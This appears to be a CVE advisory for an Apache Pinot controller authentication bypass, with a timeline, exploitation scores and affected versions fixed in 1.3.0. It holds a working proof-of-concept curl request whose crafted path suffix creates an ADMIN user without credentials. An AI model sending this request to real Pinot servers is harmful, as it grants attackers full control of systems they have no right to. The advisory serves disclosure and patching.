Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Summary

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Timeline

1. Apr 1, 2025, 9:07 AM UTCCVE published
2. Apr 18, 2025, 2:23 PM UTCCISA SSVC assessment

   Exploitation: none · Automatable: yes · Technical impact: total

3. Oct 27, 2025, 5:11 PM UTCRecord last updated
4. Oct 28, 2026EPSS reached 10%

   FIRST estimates at least a 10% chance of exploitation in the next 30 days

Affected versions

• org.apache.pinot.controller.api

  fixed in 1.3

• org.apache.pinot:pinot-brokerMaven

  From 0.8.0 · fixed in 1.3.0

• org.apache.pinot:pinot-commonMaven

  From 0.8.0 · fixed in 1.3.0

• org.apache.pinot:pinot-controllerMaven

  From 0.8.0 · fixed in 1.3.0

References 2